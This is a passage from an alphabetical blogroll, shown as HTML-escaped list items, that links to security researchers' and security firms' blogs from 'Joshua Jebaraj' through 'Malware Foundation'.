  &lt;li&gt;&lt;a href=&quot;https://joshuajebaraj.com/posts/&quot;&gt;Joshua Jebaraj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joshua.hu&quot;&gt;Joshua.Hu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://self.joshuamasek.com&quot;&gt;joshuamasek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.josipfranjkovic.com&quot;&gt;Josip Franjkovic&lt;/a&gt; + &lt;a href=&quot;https://josipfranjkovic.blogspot.com&quot;&gt;archive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://jonmoore.duckdns.org&quot;&gt;Jon’s Site&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joxeankoret.com/posts/&quot;&gt;Joxean Koret&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.jpcert.or.jp/en/&quot;&gt;JPCERT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jprx.io&quot;&gt;JPRX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jspin.re&quot;&gt;JSPIN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.jtnydv.com&quot;&gt;JTNYDV&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.epicturla.com&quot;&gt;Juan Andrés Guerrero-Saade&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jub0bs.com/posts/&quot;&gt;jub0bs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://y0sh1mitsu.github.io&quot;&gt;Julien Houry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://jvehent.org&quot;&gt;Julien Vehent&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://httpscolonforwardslashforwardslashwwwdotzoltanbalazsdotcom.com&quot;&gt;Jump ESP, jump!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jumpespjump.blogspot.com&quot;&gt;Jump ESP, jump!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://anotherhackerblog.com&quot;&gt;Just Another Hacker Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ret2got.wordpress.com&quot;&gt;Just Another Hacking blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jgmitchell.com&quot;&gt;Justin G. Mitchell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.justingan.com&quot;&gt;Justin Gan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hysler.net/posts/&quot;&gt;Justin Hysler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zolutal.github.io&quot;&gt;Justin Miller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jsherman212.github.io&quot;&gt;Justin’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.justinsteven.com&quot;&gt;justinsteven&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.justsecnow.com/cyber-security/&quot;&gt;justsecnow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jwlss.pw&quot;&gt;jwlss.pw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://k0deless.github.io/#posts&quot;&gt;K0de Less&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.k3170makan.com&quot;&gt;k3170&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://k3xec.com&quot;&gt;K3XEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://k4m1ll0.com&quot;&gt;k4m1ll0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kai-greshake.de/posts/&quot;&gt;Kai Greshake&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ktkaufman03.github.io&quot;&gt;Kai Kaufman’s tech blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kailashbohara.com.np&quot;&gt;Kailash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kalmarunionen.dk&quot;&gt;Kalmarunionen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.kamilonurozkaleli.com&quot;&gt;Kamil Onur Ozkaleli as ko2sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vavkamil.cz&quot;&gt;Kamil Vavra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kanbach.org&quot;&gt;kanbach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kanenarraway.com&quot;&gt;Kane Narraway&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://karimrahal.com&quot;&gt;Karim Rahal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blah.karit.nz&quot;&gt;Karit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://karmainsecurity.com/blog&quot;&gt;Karma(In)Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kattraxler.github.io&quot;&gt;Kat Traxler - Taste the IAM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://katanasec.com&quot;&gt;Katana Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://insiderphd.dev&quot;&gt;Katie Paxton-Fear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kayssel.com&quot;&gt;Kayssel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kazet.cc&quot;&gt;kazet.cc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kciredor.com&quot;&gt;kciredor’s information security blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keefer.io&quot;&gt;keefer.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keerok.github.io&quot;&gt;Keerok&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://novakeith.net/blog/&quot;&gt;Keith Novak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kellyshortridge.com/blog/posts/&quot;&gt;Kelly Shortridge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.righto.com&quot;&gt;Ken Shirriff’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://benji.pizza&quot;&gt;kenzobenj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keowu.re&quot;&gt;Keowu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kernal.eu&quot;&gt;kernal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kernelpanic.cryptid.fr/en&quot;&gt;kernel panic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.kernelpicnic.net&quot;&gt;KernelPicnic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vcsjones.dev&quot;&gt;Kevin Jones&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kevsec.fr&quot;&gt;KevSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kewde.github.io&quot;&gt;kewde&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keyfindings.blog&quot;&gt;Key Findings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keymaterial.net&quot;&gt;Key Material&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://realkeyboardwarrior.github.io&quot;&gt;Keyboard Warrior&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://khalid.se/posts/&quot;&gt;Khalid.SE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.khonggianmang.vn&quot;&gt;khonggianmang&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kibty.town/blog&quot;&gt;kibty.town&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kicksec.io/kicksec-blog-news-opinions-and-more-or-less/&quot;&gt;Kicksec.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://killingthebear.jorgetesta.tech&quot;&gt;Killing The Bear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://killrbunn3.com/category/blog/&quot;&gt;killrbunn3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kishanchoudhary.com/index.html&quot;&gt;Kishan choudhary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kiwidog.me&quot;&gt;kiwidog’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://klecko.github.io&quot;&gt;Klecko&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.klrgrz.com&quot;&gt;klrgrz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://debugging.works/blog/&quot;&gt;Kmille&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kmsec.uk/blog/&quot;&gt;kmsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://knifecoat.com/Home&quot;&gt;KnifeCoat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.knightsbr1dge.red&quot;&gt;Knightsbr1dge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iq.thc.org&quot;&gt;Knowledge Base&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://koen.engineer&quot;&gt;Koen Rouwhorst&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kqx.io/&quot;&gt;kqx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kristal-g.github.io&quot;&gt;Kristal’s Notebook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.kristovatlas.com&quot;&gt;Kristov Atlas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krypt3ia.wordpress.com&quot;&gt;Krypt3ia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kryptoenix.github.io/blog/&quot;&gt;Kryptoenix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krystalgamer.github.io&quot;&gt;krystalgamer’s Lair&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kuldeep.io&quot;&gt;Kuldeep’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kumar.ninja&quot;&gt;Kumar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://why.kunai.rocks/blog&quot;&gt;Kunai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://kuronosec.blogspot.com/&quot;&gt;kuronosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kurtisebear.com/posts/&quot;&gt;Kurtis Baron&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://kurulounge.blogspot.com/&quot;&gt;KURU Lounge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kustoking.com&quot;&gt;Kusto King&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tech.kusuwada.com&quot;&gt;Kusuwada&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kuzey.rs/posts/&quot;&gt;Kuzey Arda Bulut&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://b3nac.com/blog.html&quot;&gt;Kyle B3nac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kyleavery.com&quot;&gt;kyleavery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kylebot.net&quot;&gt;kylebot’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kymb0.github.io&quot;&gt;kymBlog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://klefz.se&quot;&gt;KZA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://l3ouu4n9.github.io&quot;&gt;L3o&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.labofapenetrationtester.com&quot;&gt;Lab of a Penetration Tester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://laconicwolf.com&quot;&gt;Laconic Wolf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwarelab.eu&quot;&gt;Ladislav Bačo::MWLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ladysecspeare.wordpress.com&quot;&gt;Lady Secspeare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lafdrew.github.io&quot;&gt;Lafdrew&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tin-z.github.io&quot;&gt;Lambda driver blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lambda.cx&quot;&gt;lambda.cx blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://latonis.github.io&quot;&gt;Land of Jacob’s Musings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.landaire.net&quot;&gt;lander’s posts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lastwatchdog.com&quot;&gt;The Last Watchdog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.laststandsecurity.co.uk&quot;&gt;LastStandSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lauren.vortex.com&quot;&gt;Lauren Weinstein&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://g-laurent.blogspot.com&quot;&gt;Laurent Gaffie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lcamtuf.blogspot.com&quot;&gt;lcamtuf’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phil242.wordpress.com&quot;&gt;Le blog du Phil&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chesterlebron.blogspot.com&quot;&gt;Le Bron Does Security?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securitynik.com&quot;&gt;Learning by practicing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://donjon.ledger.com&quot;&gt;Ledger Donjon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.leeholmes.com&quot;&gt;Lee Holmes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leethax0.rs&quot;&gt;leethax0.rs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.legacyy.xyz&quot;&gt;Legacyy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://legend.octopuslabs.io&quot;&gt;The Legend of Random&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leigh-annegalloway.com&quot;&gt;Leigh-Anne Galloway&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeltser.com/blog/&quot;&gt;Lenny Zeltser&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leosmith.wtf/blog/&quot;&gt;Leo Smith&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leonjza.github.io&quot;&gt;Leon Jacobs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leonjza.github.io&quot;&gt;Leon Jza&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://letsautomate.it&quot;&gt;Lets Automate It&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reverseengineeringtogether.wordpress.com&quot;&gt;Let’s Reverse!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leucosite.com&quot;&gt;leucosite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.levelupinfosec.com/blog&quot;&gt;Level Up Info Sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://levischuck.com/blog&quot;&gt;Levi Schuck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lfysec.top&quot;&gt;LFYSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://liberty-shell.com/sec/archive/&quot;&gt;liberty-shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://librondo.so/&quot;&gt;librondo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://licenciaparahackear.github.io/en/&quot;&gt;Licencia para Hackear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lifeinhex.com&quot;&gt;Life In Hex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lightbluetouchpaper.org&quot;&gt;Light Blue Touchpaper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ligniform.blog/posts/&quot;&gt;Ligniform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://liman.io&quot;&gt;liman.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://limitedresults.com&quot;&gt;LimitedResults&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scrapco.de/blog/&quot;&gt;Lingua Diabolis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ezqelusia.blogspot.com&quot;&gt;linhlhq’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuslagerhjelm.se/categories/index.html&quot;&gt;Linus Lagerhjelm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linux-audit.com/linux-security/&quot;&gt;Linux Audit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxdfir.ashemery.com&quot;&gt;LinuxForensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linxz.tech/post/&quot;&gt;Linxz’ Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.liquidsec.net&quot;&gt;LiquidSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog&quot;&gt;Liran Tal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://littlemaninmyhead.wordpress.com&quot;&gt;Little Man In My Head&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lkmidas.github.io&quot;&gt;lkmidas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://llamasec.com&quot;&gt;LlamaSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://lockboxx.blogspot.com&quot;&gt;LockBoxx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lodsb.com&quot;&gt;LODSB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chainlover.blogspot.com&quot;&gt;Logical Bimboo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lolcads.github.io&quot;&gt;lolcads tech blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lolware.net&quot;&gt;LOLWARE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.idiot.sg&quot;&gt;Lord_Idiot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lorenzomeacci.com/blog-list&quot;&gt;Lorenzo Meacci&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lorexxar.cn&quot;&gt;LoRexxar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.herbiez.com&quot;&gt;Lost In Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://p4yl0ad.github.io&quot;&gt;The Lost Notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lotte.chir.rs/blog&quot;&gt;Lotte’s Attic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://loudwhisper.me/blog/&quot;&gt;Loudwhisper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://repnz.github.io&quot;&gt;Low Level Pleasure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x434b.dev&quot;&gt;Low-level adventures&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://llsoftsec.github.io/llsoftsecbook/&quot;&gt;Low-Level Software Security for Compiler Developers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lowleveldesign.org&quot;&gt;lowleveldesign.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lbherrera.me/posts/&quot;&gt;Luan Herrera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lallodi.github.io/publications/&quot;&gt;Luca Allodi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.luitjes.it&quot;&gt;Lucas Luitjes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lucasteske.dev&quot;&gt;Lucas Teske&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lude.rs&quot;&gt;lude.rs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://luemmelsec.github.io&quot;&gt;LuemmelSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aluigi.altervista.org&quot;&gt;Luigi Auriemma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lukaszolejnik.com&quot;&gt;Lukasz Olejnik&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lukecraig.com&quot;&gt;Luke Craig&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploiter.dev/blog&quot;&gt;LukeGix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://luketucker.com&quot;&gt;Luke Tucker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.landh.tech/blog&quot;&gt;Lupin &amp;amp; Holmes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lutfumertceylan.com.tr&quot;&gt;Lutfu Mert Ceylan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lwthiker.com&quot;&gt;lwt hiker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ly0n.me&quot;&gt;ly0n.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lyra.horse/blog/&quot;&gt;lyra’s epic blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theyhack.me&quot;&gt;M. Cory Billington&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mstefanc.com/blog/&quot;&gt;M. ȘTEFAN CRISTIAN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m0chan.github.io&quot;&gt;m0chan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m19o.github.io&quot;&gt;m19o&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m417z.com&quot;&gt;m417z&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m4gnum.xyz&quot;&gt;m4gnum’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m4iler.cloud&quot;&gt;m4iler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m4t3sz.gitlab.io&quot;&gt;M4t35Z’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jeva.cc/about.html&quot;&gt;ma4ter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.macchaffee.com/blog/&quot;&gt;Mac Chaffee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.macpierce.com/blog&quot;&gt;Mac Pierce&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://machevalia.blog/blog/&quot;&gt;Machevalia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.madirish.net&quot;&gt;Mad Irish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://madaidans-insecurities.github.io&quot;&gt;Madaidan’s Insecurities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.madstacks.dev&quot;&gt;madStacks.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bitvijays.github.io/content.html&quot;&gt;The Magic of Learning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mahaloz.re&quot;&gt;mahaloz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mahmoudsec.blogspot.com&quot;&gt;Mahmoud Gamal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maia.crimew.gay/posts/&quot;&gt;maia blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://makosecblog.com&quot;&gt;MakoSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malasada.tech&quot;&gt;Malasada Tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehazarika.com&quot;&gt;Malay’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.malgregator.com&quot;&gt;malgregator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.malicious.group&quot;&gt;Malicious Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malicious.link/post/&quot;&gt;malicious.link | boot mubix.kernel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malicious.pro&quot;&gt;malicious.pro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mallaichte.live/blog/&quot;&gt;Mallaichte&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maloley.me/musings/&quot;&gt;Maloley.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.dingusxmcgee.com/blog/&quot;&gt;Malware Analysis with Dingus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwareandstuff.com&quot;&gt;Malware and Stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malware.foundation&quot;&gt;Malware Foundation&lt;/a&gt;&lt;/li&gt;
